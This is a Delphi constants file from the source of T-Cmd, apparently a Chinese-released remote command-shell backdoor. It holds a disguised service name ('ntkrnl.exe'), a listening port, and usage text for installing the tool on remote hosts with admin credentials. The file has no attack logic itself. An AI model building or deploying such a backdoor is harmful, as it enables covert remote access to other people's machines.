📄 t_cmdcnst.pas
字号:
{
Delphi 版 T-Cmd 源码。
本代码仅供学习研究之用。任何人不得将其用于不法目的。
由此造成的一切责任,由使用者承担。特此声明。
}
unit T_CMDCnst;
interface
const
BUFFER_SIZE = 1024;
CRLF = #13#10;
TAB = ' ';
const
N_SERVICE_NAME = 'ntkrnl';
N_SERVICE_BINARY_PATH_NAME = 'ntkrnl.exe';
N_SERVICE_OPEN_PORT: Word = 20540;
const
N_START_MESSAGE = #10 + TAB + TAB +
'---[ T-Cmd v1.0 beta, by TOo2y ]---'#10 + TAB + TAB +
'---[ E-mail: TOo2y@safechina.net ]---'#10 + TAB + TAB +
'---[ HomePage: www.safechina.net ]---'#10 + TAB + TAB +
'---[ Date: 02-05-2003 ]---'#10 + TAB + TAB +
'---[ Rebuild with Delphi by UPP ]---'#10 + TAB + TAB +
'---[ Update Date: 28-10-2005 ]---'#10#10;
N_USAGE_MESSAGE = 'Attention:'#10 +
' Be careful with this software. Good Luck.'#10#10 +
'Usage Show:'#10 +
' DTCmd -Help'#10 +
' DTCmd -Install [RemoteHost] [Account] [Password]'#10 +
' DTCmd -Remove [RemoteHost] [Account] [Password]'#10#10 +
'Example:'#10 +
' DTCmd -Install (Install in the localhost)'#10 +
' DTCmd -Remove (Remove in the localhost)'#10 +
' DTCmd -Install 192.168.0.1 Admin 123456 (Install in 192.168.0.1)'#10 +
' DTCmd -Remove 192.168.0.1 Admin 123456 (Remove in 192.168.0.1)'#10 +
' DTCmd -Install 192.168.0.2 Admin NULL (NULL instead of no password)'#10#10;
const
N_NET_WELCOM_MESSAGE = CRLF + CRLF + TAB + TAB +
'---[ T-Cmd v1.0 beta, by TOo2y ]---' + CRLF + TAB + TAB +
'---[ E-mail: TOo2y@safechina.net ]---' + CRLF + TAB + TAB +
'---[ Date: 02-05-2003 ]---' + CRLF + TAB + TAB +
'---[ Rebuild with Delphi by UPP ]---' + CRLF + TAB + TAB +
'---[ Update Date: 28-10-2005 ]---' + CRLF + #13;
N_NET_HELP_MESSAGE = CRLF + 'Escape Character is ''CTRL+]''' + CRLF + #13;
implementation
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -